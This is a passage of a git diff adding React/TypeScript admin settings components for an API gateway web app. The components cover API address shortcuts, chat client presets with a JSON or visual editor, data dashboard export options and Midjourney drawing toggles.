+        prev.filter((item) => item.id !== editingApiInfo.id)
+      )
+      setHasChanges(true)
+      toast.success(t('API info deleted. Click "Save Settings" to apply.'))
+    } else if (deleteTarget === 'batch') {
+      setApiInfoList((prev) =>
+        prev.filter((item) => !selectedIds.includes(item.id))
+      )
+      setSelectedIds([])
+      setHasChanges(true)
+      toast.success(
+        t('{{count}} API entries deleted. Click "Save Settings" to apply.', {
+          count: selectedIds.length,
+        })
+      )
+    }
+    setShowDeleteDialog(false)
+    setEditingApiInfo(null)
+  }
+
+  const handleSubmitForm = (values: ApiInfoFormValues) => {
+    if (editingApiInfo) {
+      setApiInfoList((prev) =>
+        prev.map((item) =>
+          item.id === editingApiInfo.id ? { ...item, ...values } : item
+        )
+      )
+      toast.success(t('API info updated. Click "Save Settings" to apply.'))
+    } else {
+      const newId = Math.max(...apiInfoList.map((item) => item.id), 0) + 1
+      setApiInfoList((prev) => [...prev, { id: newId, ...values }])
+      toast.success(t('API info added. Click "Save Settings" to apply.'))
+    }
+    setHasChanges(true)
+    setShowDialog(false)
+  }
+
+  const handleSaveAll = async () => {
+    try {
+      await updateOption.mutateAsync({
+        key: 'console_setting.api_info',
+        value: JSON.stringify(apiInfoList),
+      })
+      setHasChanges(false)
+      toast.success(t('API info saved successfully'))
+    } catch {
+      toast.error(t('Failed to save API info'))
+    }
+  }
+
+  const toggleSelectAll = (checked: boolean) => {
+    setSelectedIds(checked ? apiInfoList.map((item) => item.id) : [])
+  }
+
+  const toggleSelectOne = (id: number, checked: boolean) => {
+    setSelectedIds((prev) =>
+      checked ? [...prev, id] : prev.filter((item) => item !== id)
+    )
+  }
+
+  const getColorClass = (color: string) => {
+    return (
+      colorOptions.find((opt) => opt.value === color)?.bgClass || 'bg-blue-500'
+    )
+  }
+
+  return (
+    <SettingsSection
+      title={t('API Addresses')}
+      description={t('Curate quick links to your different Domains')}
+    >
+      <div className='space-y-4'>
+        <div className='flex flex-wrap items-center justify-between gap-2'>
+          <div className='flex flex-wrap items-center gap-2'>
+            <Button onClick={handleAdd} size='sm'>
+              <Plus className='mr-2 h-4 w-4' />
+              {t('Add API')}
+            </Button>
+            <Button
+              onClick={handleBatchDelete}
+              size='sm'
+              variant='destructive'
+              disabled={selectedIds.length === 0}
+            >
+              <Trash2 className='mr-2 h-4 w-4' />
+              {t('Delete (')}
+              {selectedIds.length})
+            </Button>
+            <Button
+              onClick={handleSaveAll}
+              size='sm'
+              variant='secondary'
+              disabled={!hasChanges || updateOption.isPending}
+            >
+              <Save className='mr-2 h-4 w-4' />
+              {updateOption.isPending ? t('Saving...') : t('Save Settings')}
+            </Button>
+          </div>
+          <div className='flex items-center gap-2'>
+            <span className='text-muted-foreground text-sm'>
+              {t('Enabled')}
+            </span>
+            <Switch checked={isEnabled} onCheckedChange={handleToggleEnabled} />
+          </div>
+        </div>
+
+        <div className='rounded-md border'>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead className='w-12'>
+                  <Checkbox
+                    checked={
+                      selectedIds.length === apiInfoList.length &&
+                      apiInfoList.length > 0
+                    }
+                    onCheckedChange={toggleSelectAll}
+                  />
+                </TableHead>
+                <TableHead>{t('URL')}</TableHead>
+                <TableHead>{t('Route')}</TableHead>
+                <TableHead>{t('Description')}</TableHead>
+                <TableHead>{t('Color')}</TableHead>
+                <TableHead className='w-32'>{t('Actions')}</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {apiInfoList.length === 0 ? (
+                <TableRow>
+                  <TableCell colSpan={6} className='h-24 text-center'>
+                    {t('No API Domains yet. Click "Add API" to create one.')}
+                  </TableCell>
+                </TableRow>
+              ) : (
+                apiInfoList.map((apiInfo) => (
+                  <TableRow key={apiInfo.id}>
+                    <TableCell>
+                      <Checkbox
+                        checked={selectedIds.includes(apiInfo.id)}
+                        onCheckedChange={(checked) =>
+                          toggleSelectOne(apiInfo.id, checked as boolean)
+                        }
+                      />
+                    </TableCell>
+                    <TableCell
+                      className='max-w-xs truncate font-mono text-sm'
+                      title={apiInfo.url}
+                    >
+                      <StatusBadge
+                        label={apiInfo.url}
+                        variant='neutral'
+                        copyable={false}
+                      />
+                    </TableCell>
+                    <TableCell>
+                      <StatusBadge
+                        label={apiInfo.route}
+                        variant='neutral'
+                        copyable={false}
+                      />
+                    </TableCell>
+                    <TableCell
+                      className='max-w-xs truncate'
+                      title={apiInfo.description}
+                    >
+                      {apiInfo.description}
+                    </TableCell>
+                    <TableCell>
+                      <div className='flex items-center gap-2'>
+                        <div
+                          className={`h-4 w-4 rounded-full ${getColorClass(apiInfo.color)}`}
+                        />
+                        <span className='text-sm capitalize'>
+                          {apiInfo.color}
+                        </span>
+                      </div>
+                    </TableCell>
+                    <TableCell>
+                      <div className='flex gap-2'>
+                        <Button
+                          onClick={() => handleEdit(apiInfo)}
+                          size='sm'
+                          variant='ghost'
+                        >
+                          <Edit className='h-4 w-4' />
+                        </Button>
+                        <Button
+                          onClick={() => handleDelete(apiInfo)}
+                          size='sm'
+                          variant='ghost'
+                        >
+                          <Trash2 className='h-4 w-4' />
+                        </Button>
+                      </div>
+                    </TableCell>
+                  </TableRow>
+                ))
+              )}
+            </TableBody>
+          </Table>
+        </div>
+      </div>
+
+      <Dialog open={showDialog} onOpenChange={setShowDialog}>
+        <DialogContent>
+          <DialogHeader>
+            <DialogTitle>
+              {editingApiInfo ? t('Edit API Shortcut') : t('Add API Shortcut')}
+            </DialogTitle>
+            <DialogDescription>
+              {t('Configure API documentation links for the dashboard')}
+            </DialogDescription>
+          </DialogHeader>
+          <Form {...form}>
+            <form
+              onSubmit={form.handleSubmit(handleSubmitForm)}
+              className='space-y-4'
+            >
+              <FormField
+                control={form.control}
+                name='url'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('API URL')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('https://api.example.com')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name='route'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Route Description')}</FormLabel>
+                    <FormControl>
+                      <Input placeholder={t('e.g., CN2 GIA')} {...field} />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name='description'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Description')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t(
+                          'e.g., Recommended for China Mainland Users'
+                        )}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name='color'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Badge Color')}</FormLabel>
+                    <Select onValueChange={field.onChange} value={field.value}>
+                      <FormControl>
+                        <SelectTrigger>
+                          <SelectValue placeholder={t('Select a color')} />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        {colorOptions.map((option) => (
+                          <SelectItem key={option.value} value={option.value}>
+                            <div className='flex items-center gap-2'>
+                              <div
+                                className={`h-4 w-4 rounded-full ${option.bgClass}`}
+                              />
+                              {option.label}
+                            </div>
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                    <FormDescription>
+                      {t('Visual indicator color for the API card')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+              <DialogFooter>
+                <Button
+                  type='button'
+                  variant='outline'
+                  onClick={() => setShowDialog(false)}
+                >
+                  {t('Cancel')}
+                </Button>
+                <Button type='submit'>
+                  {editingApiInfo ? t('Update') : t('Add')}
+                </Button>
+              </DialogFooter>
+            </form>
+          </Form>
+        </DialogContent>
+      </Dialog>
+
+      <AlertDialog open={showDeleteDialog} onOpenChange={setShowDeleteDialog}>
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>{t('Are you sure?')}</AlertDialogTitle>
+            <AlertDialogDescription>
+              {deleteTarget === 'single'
+                ? 'This API shortcut will be removed from the list.'
+                : `${selectedIds.length} API shortcuts will be removed from the list.`}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>{t('Cancel')}</AlertDialogCancel>
+            <AlertDialogAction onClick={confirmDelete}>
+              {t('Delete')}
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/chat-dialog.tsx b/new-api/web/default/src/features/system-settings/content/chat-dialog.tsx
new file mode 100644
index 0000000..0faf04a
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/chat-dialog.tsx
@@ -0,0 +1,152 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+
+const createChatDialogSchema = (t: (key: string) => string) =>
+  z.object({
+    name: z.string().min(1, t('Chat client name is required')),
+    url: z.string().min(1, t('URL is required')),
+  })
+
+type ChatDialogFormValues = z.infer<ReturnType<typeof createChatDialogSchema>>
+
+export type ChatEntryData = {
+  name: string
+  url: string
+}
+
+type ChatDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (data: ChatEntryData) => void
+  editData?: ChatEntryData | null
+}
+
+export function ChatDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+}: ChatDialogProps) {
+  const { t } = useTranslation()
+  const isEditMode = !!editData
+  const chatDialogSchema = createChatDialogSchema(t)
+
+  const form = useForm<ChatDialogFormValues>({
+    resolver: zodResolver(chatDialogSchema),
+    defaultValues: {
+      name: '',
+      url: '',
+    },
+  })
+
+  useEffect(() => {
+    if (editData) {
+      form.reset(editData)
+    } else {
+      form.reset({
+        name: '',
+        url: '',
+      })
+    }
+  }, [editData, form, open])
+
+  const handleSubmit = (values: ChatDialogFormValues) => {
+    onSave(values)
+    form.reset()
+    onOpenChange(false)
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-[500px]'>
+        <DialogHeader>
+          <DialogTitle>
+            {isEditMode ? t('Edit chat preset') : t('Add chat preset')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Configure a predefined chat link for end users.')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(handleSubmit)}
+            className='space-y-4'
+          >
+            <FormField
+              control={form.control}
+              name='name'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Chat Client Name')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('Please enter chat client name')}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Display name for this chat client.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='url'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('URL')}</FormLabel>
+                  <FormControl>
+                    <Input placeholder={t('Please enter the URL')} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t('The URL for this chat client.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit'>
+                {isEditMode ? t('Update') : t('Add')}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/chat-settings-section.tsx b/new-api/web/default/src/features/system-settings/content/chat-settings-section.tsx
new file mode 100644
index 0000000..e5d3525
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/chat-settings-section.tsx
@@ -0,0 +1,179 @@
+import { useEffect, useRef, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import { ChatSettingsVisualEditor } from './chat-settings-visual-editor'
+import { formatJsonForEditor, normalizeJsonString } from './utils'
+
+const createChatSchema = (t: (key: string) => string) =>
+  z.object({
+    Chats: z.string().superRefine((value, ctx) => {
+      try {
+        const parsed = JSON.parse(value || '[]')
+        if (!Array.isArray(parsed)) {
+          ctx.addIssue({
+            code: z.ZodIssueCode.custom,
+            message: t('Expected a JSON array.'),
+          })
+          return
+        }
+        for (const item of parsed) {
+          if (
+            item === null ||
+            typeof item !== 'object' ||
+            Array.isArray(item)
+          ) {
+            ctx.addIssue({
+              code: z.ZodIssueCode.custom,
+              message: t(
+                'Each item must be an object with a single key-value pair.'
+              ),
+            })
+            return
+          }
+          const entries = Object.entries(item)
+          if (entries.length !== 1) {
+            ctx.addIssue({
+              code: z.ZodIssueCode.custom,
+              message: t('Each item must have exactly one key-value pair.'),
+            })
+            return
+          }
+        }
+      } catch {
+        ctx.addIssue({
+          code: z.ZodIssueCode.custom,
+          message: t('Invalid JSON string.'),
+        })
+      }
+    }),
+  })
+
+type ChatSettingsFormValues = z.infer<ReturnType<typeof createChatSchema>>
+
+type ChatSettingsSectionProps = {
+  defaultValue: string
+}
+
+export function ChatSettingsSection({
+  defaultValue,
+}: ChatSettingsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const [editMode, setEditMode] = useState<'visual' | 'json'>('visual')
+
+  const chatSchema = createChatSchema(t)
+  const formatted = formatJsonForEditor(defaultValue, '[]')
+  const form = useForm<ChatSettingsFormValues>({
+    resolver: zodResolver(chatSchema),
+    mode: 'onChange', // Enable real-time validation
+    defaultValues: {
+      Chats: formatted,
+    },
+  })
+
+  const initialNormalizedRef = useRef(normalizeJsonString(defaultValue, '[]'))
+
+  useEffect(() => {
+    form.reset({ Chats: formatJsonForEditor(defaultValue, '[]') })
+    initialNormalizedRef.current = normalizeJsonString(defaultValue, '[]')
+  }, [defaultValue, form])
+
+  const onSubmit = async (values: ChatSettingsFormValues) => {
+    const normalized = normalizeJsonString(values.Chats, '[]')
+    if (normalized === initialNormalizedRef.current) {
+      return
+    }
+
+    await updateOption.mutateAsync({
+      key: 'Chats',
+      value: normalized,
+    })
+  }
+
+  return (
+    <SettingsSection
+      title={t('Chat Presets')}
+      description={t('Configure predefined chat links surfaced to end users.')}
+    >
+      <Form {...form}>
+        {/* eslint-disable-next-line react-hooks/refs */}
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <Tabs
+            value={editMode}
+            onValueChange={(value) => setEditMode(value as 'visual' | 'json')}
+          >
+            <TabsList className='grid w-full grid-cols-2'>
+              <TabsTrigger value='visual'>{t('Visual')}</TabsTrigger>
+              <TabsTrigger value='json'>{t('JSON')}</TabsTrigger>
+            </TabsList>
+
+            <TabsContent value='visual' className='mt-6'>
+              <FormField
+                control={form.control}
+                name='Chats'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormControl>
+                      <ChatSettingsVisualEditor
+                        value={field.value}
+                        onChange={field.onChange}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </TabsContent>
+
+            <TabsContent value='json' className='mt-6'>
+              <FormField
+                control={form.control}
+                name='Chats'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Chat configuration JSON')}</FormLabel>
+                    <FormControl>
+                      <Textarea
+                        rows={12}
+                        placeholder={t(
+                          '[{"ChatGPT":"https://chat.openai.com"},{"Lobe Chat":"https://chat-preview.lobehub.com/?settings={...}"}]'
+                        )}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Array of chat client presets. Each item is an object with one key-value pair: client name and its URL.'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </TabsContent>
+          </Tabs>
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save chat settings')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/chat-settings-visual-editor.tsx b/new-api/web/default/src/features/system-settings/content/chat-settings-visual-editor.tsx
new file mode 100644
index 0000000..85dee47
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/chat-settings-visual-editor.tsx
@@ -0,0 +1,192 @@
+import { useState, useMemo } from 'react'
+import { Pencil, Plus, Search, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { safeJsonParseWithValidation } from '../utils/json-parser'
+import { isArray } from '../utils/json-validators'
+import { ChatDialog, type ChatEntryData } from './chat-dialog'
+
+type ChatSettingsVisualEditorProps = {
+  value: string
+  onChange: (value: string) => void
+}
+
+type ChatEntry = ChatEntryData
+
+export function ChatSettingsVisualEditor({
+  value,
+  onChange,
+}: ChatSettingsVisualEditorProps) {
+  const { t } = useTranslation()
+  const [searchText, setSearchText] = useState('')
+  const [dialogOpen, setDialogOpen] = useState(false)
+  const [editData, setEditData] = useState<ChatEntry | null>(null)
+
+  const chats = useMemo(() => {
+    const parsed = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      validatorMessage: 'Chats must be a JSON array',
+      context: 'chats',
+    })
+
+    return parsed
+      .map((item) => {
+        if (typeof item === 'object' && item !== null && !Array.isArray(item)) {
+          const entries = Object.entries(item)
+          if (entries.length === 1) {
+            const [name, url] = entries[0]
+            return { name, url: String(url) }
+          }
+        }
+        return null
+      })
+      .filter((item): item is ChatEntry => item !== null)
+  }, [value])
+
+  const filteredChats = useMemo(() => {
+    if (!searchText) return chats
+    const lowerSearch = searchText.toLowerCase()
+    return chats.filter(
+      (chat) =>
+        chat.name.toLowerCase().includes(lowerSearch) ||
+        chat.url.toLowerCase().includes(lowerSearch)
+    )
+  }, [chats, searchText])
+
+  const handleSave = (data: ChatEntryData) => {
+    const chatsArray = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      silent: true,
+    })
+
+    let updatedArray = [...chatsArray]
+
+    if (editData) {
+      updatedArray = updatedArray.filter((item) => {
+        if (typeof item === 'object' && item !== null && !Array.isArray(item)) {
+          return !Object.keys(item).includes(editData.name)
+        }
+        return true
+      })
+    }
+
+    updatedArray.push({ [data.name]: data.url })
+
+    onChange(JSON.stringify(updatedArray, null, 2))
+  }
+
+  const handleDelete = (name: string) => {
+    const chatsArray = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      silent: true,
+    })
+
+    const updatedArray = chatsArray.filter((item) => {
+      if (typeof item === 'object' && item !== null && !Array.isArray(item)) {
+        return !Object.keys(item).includes(name)
+      }
+      return true
+    })
+
+    onChange(JSON.stringify(updatedArray, null, 2))
+  }
+
+  const handleEdit = (chat: ChatEntry) => {
+    setEditData(chat)
+    setDialogOpen(true)
+  }
+
+  const handleAdd = () => {
+    setEditData(null)
+    setDialogOpen(true)
+  }
+
+  return (
+    <div className='space-y-4'>
+      <div className='flex items-center gap-4'>
+        <div className='relative flex-1'>
+          <Search className='text-muted-foreground absolute top-2.5 left-2.5 h-4 w-4' />
+          <Input
+            placeholder={t('Search chat presets...')}
+            value={searchText}
+            onChange={(e) => setSearchText(e.target.value)}
+            className='pl-9'
+          />
+        </div>
+        <Button onClick={handleAdd}>
+          <Plus className='mr-2 h-4 w-4' />
+          {t('Add chat preset')}
+        </Button>
+      </div>
+
+      {filteredChats.length === 0 ? (
+        <div className='text-muted-foreground rounded-lg border border-dashed p-8 text-center'>
+          {searchText
+            ? t('No chat presets match your search')
+            : t(
+                'No chat presets configured. Click "Add chat preset" to get started.'
+              )}
+        </div>
+      ) : (
+        <div className='rounded-md border'>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                <TableHead>{t('Chat Client Name')}</TableHead>
+                <TableHead>{t('URL')}</TableHead>
+                <TableHead className='text-right'>{t('Actions')}</TableHead>
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {filteredChats.map((chat) => (
+                <TableRow key={chat.name}>
+                  <TableCell className='font-medium'>{chat.name}</TableCell>
+                  <TableCell className='max-w-md truncate font-mono text-sm'>
+                    {chat.url}
+                  </TableCell>
+                  <TableCell className='text-right'>
+                    <div className='flex justify-end gap-2'>
+                      <Button
+                        variant='ghost'
+                        size='sm'
+                        onClick={() => handleEdit(chat)}
+                      >
+                        <Pencil className='h-4 w-4' />
+                      </Button>
+                      <Button
+                        variant='ghost'
+                        size='sm'
+                        onClick={() => handleDelete(chat.name)}
+                      >
+                        <Trash2 className='h-4 w-4' />
+                      </Button>
+                    </div>
+                  </TableCell>
+                </TableRow>
+              ))}
+            </TableBody>
+          </Table>
+        </div>
+      )}
+
+      <ChatDialog
+        open={dialogOpen}
+        onOpenChange={setDialogOpen}
+        onSave={handleSave}
+        editData={editData}
+      />
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/dashboard-section.tsx b/new-api/web/default/src/features/system-settings/content/dashboard-section.tsx
new file mode 100644
index 0000000..9d941b9
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/dashboard-section.tsx
@@ -0,0 +1,167 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const dataDashboardSchema = z.object({
+  DataExportEnabled: z.boolean(),
+  DataExportInterval: z.number().int().min(1).max(1440),
+  DataExportDefaultTime: z.enum(['hour', 'day', 'week']),
+})
+
+type DataDashboardFormValues = z.infer<typeof dataDashboardSchema>
+
+type DashboardSectionProps = {
+  defaultValues: DataDashboardFormValues
+}
+
+const granularityOptions = [
+  { label: 'Hour', value: 'hour' },
+  { label: 'Day', value: 'day' },
+  { label: 'Week', value: 'week' },
+]
+
+export function DashboardSection({ defaultValues }: DashboardSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+
+  const form = useForm<DataDashboardFormValues>({
+    resolver: zodResolver(dataDashboardSchema),
+    defaultValues,
+  })
+
+  useEffect(() => {
+    form.reset(defaultValues)
+  }, [defaultValues, form])
+
+  const onSubmit = async (values: DataDashboardFormValues) => {
+    const updates = Object.entries(values).filter(
+      ([key, value]) =>
+        value !== defaultValues[key as keyof DataDashboardFormValues]
+    )
+
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({ key, value })
+    }
+  }
+
+  const isEnabled = form.watch('DataExportEnabled')
+
+  return (
+    <SettingsSection
+      title={t('Data Dashboard')}
+      description={t('Configure experimental data export for the dashboard')}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <FormField
+            control={form.control}
+            name='DataExportEnabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable Data Dashboard')}
+                  </FormLabel>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={field.onChange}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          <div className='grid gap-6 sm:grid-cols-2'>
+            <FormField
+              control={form.control}
+              name='DataExportInterval'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Refresh interval (minutes)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      min={1}
+                      max={1440}
+                      step={1}
+                      disabled={!isEnabled}
+                      value={field.value}
+                      onChange={(e) => field.onChange(e.target.valueAsNumber)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Keep this above 1 minute to avoid heavy database load')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='DataExportDefaultTime'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Default time granularity')}</FormLabel>
+                  <Select
+                    onValueChange={field.onChange}
+                    value={field.value}
+                    disabled={!isEnabled}
+                  >
+                    <FormControl>
+                      <SelectTrigger>
+                        <SelectValue placeholder={t('Select granularity')} />
+                      </SelectTrigger>
+                    </FormControl>
+                    <SelectContent>
+                      {granularityOptions.map((option) => (
+                        <SelectItem key={option.value} value={option.value}>
+                          {option.label}
+                        </SelectItem>
+                      ))}
+                    </SelectContent>
+                  </Select>
+                  <FormDescription>
+                    {t(
+                      'UI granularity only &mdash; data is still aggregated hourly'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save Changes')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/content/drawing-settings-section.tsx b/new-api/web/default/src/features/system-settings/content/drawing-settings-section.tsx
new file mode 100644
index 0000000..31dcc24
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/content/drawing-settings-section.tsx
@@ -0,0 +1,149 @@
+import { useEffect } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Switch } from '@/components/ui/switch'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const drawingSchema = z.object({
+  DrawingEnabled: z.boolean(),
+  MjNotifyEnabled: z.boolean(),
+  MjAccountFilterEnabled: z.boolean(),
+  MjForwardUrlEnabled: z.boolean(),
+  MjModeClearEnabled: z.boolean(),
+  MjActionCheckSuccessEnabled: z.boolean(),
+})
+
+type DrawingFormValues = z.infer<typeof drawingSchema>
+
+type DrawingSettingsSectionProps = {
+  defaultValues: DrawingFormValues
+}
+
+export function DrawingSettingsSection({
+  defaultValues,
+}: DrawingSettingsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const form = useForm<DrawingFormValues>({
+    resolver: zodResolver(drawingSchema),
+    defaultValues,
+  })
+
+  useEffect(() => {
+    form.reset(defaultValues)
+  }, [defaultValues, form])
+
+  const onSubmit = async (values: DrawingFormValues) => {
+    const updates = Object.entries(values).filter(
+      ([key, value]) => value !== defaultValues[key as keyof DrawingFormValues]
+    )
+
+    for (const [key, value] of updates) {
+      await updateOption.mutateAsync({ key, value })
+    }
+  }
+
+  const switches: Array<{
+    name: keyof DrawingFormValues
+    label: string
+    description: string
+  }> = [
+    {
+      name: 'DrawingEnabled',
+      label: t('Enable drawing features'),
+      description: t(
+        'Required to expose Midjourney-style image generation to end users.'
+      ),
+    },
+    {
+      name: 'MjNotifyEnabled',
+      label: t('Allow upstream callbacks'),
+      description: t(
+        'When enabled, Midjourney callbacks are accepted (reveals server IP).'
+      ),
+    },
+    {
+      name: 'MjAccountFilterEnabled',
+      label: t('Allow accountFilter parameter'),
+      description: t(
+        'Keep enabled if you need to proxy requests for different upstream accounts.'
+      ),
+    },
+    {
+      name: 'MjForwardUrlEnabled',
+      label: t('Rewrite callback URLs to the local server'),
+      description: t(
+        'Automatically replaces upstream callback URLs with the server address.'
+      ),
+    },
+    {
+      name: 'MjModeClearEnabled',
+      label: t('Clear mode flags in prompts'),
+      description: t(
+        'Removes Midjourney flags such as --fast, --relax, and --turbo from user prompts.'
+      ),
+    },
+    {
+      name: 'MjActionCheckSuccessEnabled',
+      label: t('Require job success before follow-up actions'),
+      description: t(
+        'Users must wait for a successful drawing before upscales or variations.'
+      ),
+    },
+  ]
+
+  return (
+    <SettingsSection
+      title={t('Drawing')}
+      description={t('Fine-tune Midjourney integration and guardrails.')}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <div className='space-y-4'>
+            {switches.map((item) => (
+              <FormField
+                key={item.name}
+                control={form.control}
+                name={item.name}
+                render={({ field }) => (
